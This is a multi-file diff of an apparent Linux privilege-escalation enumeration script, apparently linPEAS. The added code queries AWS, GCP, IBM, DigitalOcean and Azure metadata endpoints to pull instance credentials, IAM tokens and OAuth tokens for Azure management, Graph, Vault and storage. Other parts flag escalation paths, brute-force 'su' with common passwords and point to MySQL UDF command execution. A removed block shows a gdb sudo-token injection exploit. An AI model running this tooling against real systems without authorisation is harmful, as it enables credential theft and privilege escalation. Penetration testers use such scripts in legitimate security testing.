if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then
|
||||
@@ -48,6 +64,7 @@ check_aws_ecs(){
|
||||
|
||||
check_aws_ec2(){
|
||||
is_aws_ec2="No"
|
||||
is_aws_ec2_beanstalk="No"
|
||||
|
||||
if [ -d "/var/log/amazon/" ]; then
|
||||
is_aws_ec2="Yes"
|
||||
@@ -59,6 +76,10 @@ check_aws_ec2(){
|
||||
is_aws_ec2="Yes"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then
|
||||
is_aws_ec2_beanstalk="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_aws_lambda(){
|
||||
@@ -69,6 +90,33 @@ check_aws_lambda(){
|
||||
fi
|
||||
}
|
||||
|
||||
check_aws_codebuild(){
|
||||
is_aws_codebuild="No"
|
||||
|
||||
if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then
|
||||
is_aws_codebuild="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_az_vm(){
|
||||
is_az_vm="No"
|
||||
|
||||
if [ -d "/var/log/azure/" ]; then
|
||||
is_az_vm="Yes"
|
||||
|
||||
elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then
|
||||
is_az_vm="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
check_az_app(){
|
||||
is_az_app="No"
|
||||
|
||||
if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then
|
||||
is_az_app="Yes"
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
check_gcp
|
||||
print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
@@ -76,8 +124,19 @@ check_aws_ecs
|
||||
print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_aws_ec2
|
||||
print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_aws_lambda
|
||||
print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_aws_codebuild
|
||||
print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_do
|
||||
print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_ibm_vm
|
||||
print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_az_vm
|
||||
print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
check_az_app
|
||||
print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||
|
||||
echo ""
|
||||
|
||||
@@ -158,6 +217,11 @@ if [ "$is_gcp" = "Yes" ]; then
|
||||
echo " ============== "
|
||||
done
|
||||
|
||||
echo ""
|
||||
print_3title "User Data"
|
||||
echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script")
|
||||
echo ""
|
||||
|
||||
echo ""
|
||||
print_3title "Service Accounts"
|
||||
for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
|
||||
@@ -259,7 +323,14 @@ if [ "$is_aws_ec2" = "Yes" ]; then
|
||||
|
||||
echo ""
|
||||
print_3title "User Data"
|
||||
eval $aws_req "http://169.254.169.254/latest/user-data"
|
||||
eval $aws_req "http://169.254.169.254/latest/user-data"; echo ""
|
||||
|
||||
echo ""
|
||||
echo "EC2 Security Credentials"
|
||||
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||
|
||||
print_3title "SSM Runnig"
|
||||
ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED},"
|
||||
fi
|
||||
fi
|
||||
|
||||
@@ -275,3 +346,159 @@ if [ "$is_aws_lambda" = "Yes" ]; then
|
||||
printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next")
|
||||
fi
|
||||
|
||||
if [ "$is_aws_codebuild" = "Yes" ]; then
|
||||
print_2title "AWS Codebuild Enumeration"
|
||||
|
||||
aws_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
aws_req="curl -s -f"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
aws_req="wget -q -O -"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
echo "The addresses are in /codebuild/output/tmp/env.sh"
|
||||
fi
|
||||
|
||||
if [ "$aws_req" ]; then
|
||||
print_3title "Credentials"
|
||||
CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2)
|
||||
URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig
|
||||
exec_with_jq eval $aws_req "$URL_CREDS"; echo ""
|
||||
|
||||
print_3title "Container Info"
|
||||
METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2)
|
||||
exec_with_jq eval $aws_req "$METADATA_URL"; echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$is_do" = "Yes" ]; then
|
||||
print_2title "DO Droplet Enumeration"
|
||||
|
||||
do_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
do_req='curl -s -f '
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
do_req='wget -q -O - '
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$do_req" ]; then
|
||||
URL="http://169.254.169.254/metadata"
|
||||
printf "Id: "; eval $do_req "$URL/v1/id"; echo ""
|
||||
printf "Region: "; eval $do_req "$URL/v1/region"; echo ""
|
||||
printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo ""
|
||||
printf "User data: "; eval $do_req "$URL/v1/user-data"; echo ""
|
||||
printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo ""
|
||||
printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces";
|
||||
printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip";
|
||||
printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip";
|
||||
printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags";
|
||||
printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features";
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$is_ibm_vm" = "Yes" ]; then
|
||||
print_2title "IBM Cloud Enumeration"
|
||||
|
||||
if ! [ "$IBM_TOKEN" ]; then
|
||||
echo "Couldn't get the metdata token:("
|
||||
|
||||
else
|
||||
TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN"
|
||||
ACCEPT_HEADER="Accept: application/json"
|
||||
URL="http://169.254.169.254/latest/meta-data"
|
||||
|
||||
ibm_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$ibm_req" ]; then
|
||||
print_3title "Instance Details"
|
||||
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01"
|
||||
|
||||
print_3title "Keys and User data"
|
||||
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"
|
||||
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01"
|
||||
|
||||
print_3title "Placement Groups"
|
||||
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"
|
||||
|
||||
print_3title "IAM credentials"
|
||||
exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"
|
||||
fi
|
||||
fi
|
||||
|
||||
fi
|
||||
|
||||
if [ "$is_az_vm" = "Yes" ]; then
|
||||
print_2title "Azure VM Enumeration"
|
||||
|
||||
HEADER="Metadata:true"
|
||||
URL="http://169.254.169.254/metadata"
|
||||
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
|
||||
|
||||
az_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
az_req="curl -s -f -H '$HEADER'"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
az_req="wget -q -O - -H '$HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$az_req" ]; then
|
||||
print_3title "Instance details"
|
||||
exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION"
|
||||
|
||||
print_3title "Load Balancer details"
|
||||
exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION"
|
||||
|
||||
print_3title "Management token"
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/"
|
||||
|
||||
print_3title "Graph token"
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
|
||||
|
||||
print_3title "Vault token"
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/"
|
||||
|
||||
print_3title "Storage token"
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$check_az_app" = "Yes" ]; then
|
||||
print_2title "Azure App Service Enumeration"
|
||||
echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)"
|
||||
|
||||
HEADER="secret:$IDENTITY_HEADER"
|
||||
|
||||
az_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
az_req="curl -s -f -H '$HEADER'"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
az_req="wget -q -O - -H '$HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$az_req" ]; then
|
||||
print_3title "Management token"
|
||||
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/"
|
||||
|
||||
print_3title "Graph token"
|
||||
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
|
||||
|
||||
print_3title "Vault token"
|
||||
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/"
|
||||
|
||||
print_3title "Storage token"
|
||||
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/"
|
||||
fi
|
||||
fi
|
||||
|
||||
@@ -6,13 +6,18 @@
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Cleaned proccesses
|
||||
print_2title "Cleaned processes"
|
||||
|
||||
if [ "$NOUSEPS" ]; then
|
||||
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
|
||||
fi
|
||||
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
||||
|
||||
if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then
|
||||
echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users"
|
||||
fi
|
||||
|
||||
if [ "$NOUSEPS" ]; then
|
||||
print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||
print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||
pslist=$(print_ps)
|
||||
else
|
||||
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
|
||||
@@ -42,6 +47,33 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
echo ""
|
||||
fi
|
||||
|
||||
CURRENT_USER_PIVOT_PID=""
|
||||
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then
|
||||
#-- PCS) Process opened by other users
|
||||
print_2title "Processes whose PPID belongs to a different user (not root)"
|
||||
print_info "You will know if a user can somehow spawn processes as a different user"
|
||||
|
||||
# Function to get user by PID
|
||||
get_user_by_pid() {
|
||||
ps -p "$1" -o user | grep -v "USER"
|
||||
}
|
||||
|
||||
# Find processes with PPID and user info, then filter those where PPID's user is different from the process's user
|
||||
ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do
|
||||
if [ "$ppid" = "0" ]; then
|
||||
continue
|
||||
fi
|
||||
ppid_user=$(get_user_by_pid "$ppid")
|
||||
if echo "$user" | grep -Eqv "$ppid_user|root$"; then
|
||||
echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
if [ "$ppid_user" = "$USER" ]; then
|
||||
CURRENT_USER_PIVOT_PID="$ppid"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Files opened by processes belonging to other users
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
@@ -71,7 +103,13 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
|
||||
temp_file=$(mktemp)
|
||||
if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi
|
||||
if [ "$(ps -e -o user,command 2>/dev/null)" ]; then
|
||||
for i in $(seq 1 1210); do
|
||||
ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05;
|
||||
done;
|
||||
sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},";
|
||||
rm "$temp_file";
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
@@ -109,7 +147,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
program=""
|
||||
program=$(defaults read "$f" Program 2>/dev/null)
|
||||
if ! [ "$program" ]; then
|
||||
program=$(defaults read /Library/LaunchDaemons/MonitorHelper.plist ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
|
||||
program=$(defaults read "$f" ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
|
||||
fi
|
||||
if [ -w "$program" ]; then
|
||||
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
@@ -173,12 +211,12 @@ printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
|
||||
fi
|
||||
done
|
||||
relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
|
||||
relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null | grep -Ev "/[a-zA-Z0-9_]+/")
|
||||
relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null)
|
||||
if [ "$relpath1" ] || [ "$relpath2" ]; then
|
||||
if [ "$WRITABLESYSTEMDPATH" ]; then
|
||||
echo "$s is executing some relative path" | sed -${E} "s,.*,${SED_RED},";
|
||||
echo "$s could be executing some relative path" | sed -${E} "s,.*,${SED_RED},";
|
||||
else
|
||||
echo "$s is executing some relative path"
|
||||
echo "$s could be executing some relative path"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
@@ -249,6 +287,7 @@ if ! [ "$IAMROOT" ]; then
|
||||
if ! [ "$unix_scks_list" ];then
|
||||
unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
|
||||
fi
|
||||
unix_scks_list3=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/")
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
@@ -259,7 +298,7 @@ if ! [ "$IAMROOT" ]; then
|
||||
fi
|
||||
|
||||
# Detele repeated dockets and check permissions
|
||||
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2") | sort | uniq | while read l; do
|
||||
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2" && printf "%s\n" "$unix_scks_list3") | sort | uniq | while read l; do
|
||||
perms=""
|
||||
if [ -r "$l" ]; then
|
||||
perms="Read "
|
||||
|
||||
@@ -24,7 +24,7 @@ fi
|
||||
#-- NI) Interfaces
|
||||
print_2title "Interfaces"
|
||||
cat /etc/networks 2>/dev/null
|
||||
(ifconfig || ip a) 2>/dev/null
|
||||
(ifconfig || ip a || (cat /proc/net/dev; cat /proc/net/fib_trie; cat /proc/net/fib_trie6)) 2>/dev/null
|
||||
echo ""
|
||||
|
||||
#-- NI) Neighbours
|
||||
@@ -54,7 +54,7 @@ fi
|
||||
#-- NI) Ports
|
||||
print_2title "Active Ports"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports"
|
||||
( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},"
|
||||
( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g"
|
||||
echo ""
|
||||
|
||||
#-- NI) MacOS hardware ports
|
||||
|
||||
@@ -68,7 +68,7 @@ fi
|
||||
if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then
|
||||
echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
fi
|
||||
for filename in '/etc/sudoers.d/*'; do
|
||||
for filename in /etc/sudoers.d/*; do
|
||||
if [ -r "$filename" ]; then
|
||||
echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g"
|
||||
grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g"
|
||||
@@ -80,27 +80,29 @@ echo ""
|
||||
print_2title "Checking sudo tokens"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens"
|
||||
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
|
||||
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0)" | sed "s,is disabled,${SED_RED},g";
|
||||
else echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
|
||||
fi
|
||||
is_gdb="$(command -v gdb 2>/dev/null)"
|
||||
if [ "$is_gdb" ]; then echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g";
|
||||
else echo "gdb wasn't found in PATH, this might still be vulnerable but linpeas won't be able to check it" | sed "s,gdb,${SED_GREEN},g";
|
||||
fi
|
||||
if [ ! "$SUPERFAST" ] && [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ] && [ "$is_gdb" ]; then
|
||||
echo "Checking for sudo tokens in other shells owned by current user"
|
||||
for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" 2>/dev/null | grep -v "^$$\$"); do
|
||||
echo "Injecting process $pid -> "$(cat "/proc/$pid/comm" 2>/dev/null)
|
||||
echo 'call system("echo | sudo -S touch /tmp/shrndom32r2r >/dev/null 2>&1 && echo | sudo -S chmod 777 /tmp/shrndom32r2r >/dev/null 2>&1")' | gdb -q -n -p "$pid" >/dev/null 2>&1
|
||||
if [ -f "/tmp/shrndom32r2r" ]; then
|
||||
echo "Sudo token reuse exploit worked with pid:$pid! (see link)" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
break
|
||||
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then
|
||||
echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g";
|
||||
|
||||
if [ "$(command -v gdb 2>/dev/null)" ]; then
|
||||
echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g";
|
||||
fi
|
||||
done
|
||||
if [ -f "/tmp/shrndom32r2r" ]; then
|
||||
rm -f /tmp/shrndom32r2r 2>/dev/null
|
||||
else echo "The escalation didn't work... (try again later?)"
|
||||
|
||||
if [ "$CURRENT_USER_PIVOT_PID" ]; then
|
||||
echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g";
|
||||
fi
|
||||
|
||||
if [ -f "$HOME/.sudo_as_admin_successful" ]; then
|
||||
echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},";
|
||||
fi
|
||||
|
||||
if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then
|
||||
echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g";
|
||||
ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'
|
||||
fi
|
||||
|
||||
else
|
||||
echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
|
||||
|
||||
fi
|
||||
echo ""
|
||||
|
||||
@@ -212,8 +214,7 @@ if [ "$EXTRA_CHECKS" ]; then
|
||||
fi
|
||||
|
||||
#-- UI) Brute su
|
||||
EXISTS_SUDO="$(command -v sudo 2>/dev/null)"
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ] && [ "$EXISTS_SUDO" ]; then
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; then
|
||||
print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC
|
||||
POSSIBE_SU_BRUTE=$(check_if_su_brute);
|
||||
if [ "$POSSIBE_SU_BRUTE" ]; then
|
||||
@@ -226,6 +227,6 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ] &&
|
||||
printf $GREEN"It's not possible to brute-force su.\n\n"$NC
|
||||
fi
|
||||
else
|
||||
print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I can't do it...)\n"$NC
|
||||
print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\n"$NC
|
||||
fi
|
||||
print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC
|
||||
|
||||
@@ -129,9 +129,9 @@ if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then
|
||||
done
|
||||
fi
|
||||
|
||||
mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep "lib_mysqludf_sys\.so")
|
||||
mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep "lib_mysqludf_sys\.so")
|
||||
if [ "$mysqlexec" ]; then
|
||||
echo "Found $mysqlexec"
|
||||
echo "Found $mysqlexec. $(whereis lib_mysqludf_sys.so)"
|
||||
echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
@@ -325,17 +325,21 @@ peass{NFS Exports}
|
||||
#-- SI) Kerberos
|
||||
kadmin_exists="$(command -v kadmin)"
|
||||
klist_exists="$(command -v klist)"
|
||||
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
|
||||
kinit_exists="$(command -v kinit)"
|
||||
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching kerberos conf files and tickets"
|
||||
print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory"
|
||||
|
||||
if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi
|
||||
if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi
|
||||
if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi
|
||||
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
|
||||
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g";
|
||||
else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g";
|
||||
fi
|
||||
|
||||
(env || printenv) 2>/dev/null | grep -E "^KRB5" | sed -${E} "s,KRB5,${SED_RED},g"
|
||||
|
||||
printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do
|
||||
if [ -r "$f" ]; then
|
||||
if echo "$f" | grep -q .k5login; then
|
||||
@@ -376,6 +380,8 @@ if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [
|
||||
|
||||
fi
|
||||
|
||||
peass{FreeIPA}
|
||||
|
||||
peass{Knockd}
|
||||
|
||||
peass{Kibana}
|
||||
@@ -505,7 +511,7 @@ SPLUNK_BIN="$(command -v splunk 2>/dev/null)"
|
||||
if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching uncommon passwd files (splunk)"
|
||||
if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi
|
||||
